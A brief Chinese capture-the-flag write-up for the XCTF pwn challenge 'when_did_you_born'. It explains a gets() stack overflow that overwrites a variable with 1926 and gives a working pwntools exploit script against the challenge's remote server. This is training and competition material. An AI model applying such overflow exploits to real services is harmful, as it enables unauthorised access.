[攻防世界 pwn]——when_did_you_born
- 题目地址: https://adworld.xctf.org.cn/
- 题目:
checksec看下 64位
IDA中,只要v5最初不是1926,之后改为1926就可以了。利用gets栈溢出就好v4与v5相差0x20 -0x18
exploit
from pwn import *
#p = process("./pwn")
p = remote("111.200.241.244",58101)
p.sendlineafter("What's Your Birth?\n", '2001')
payload = 'a' * 8 + p64(0x786)
p.sendlineafter("What's Your Name?", payload)
p.interactive()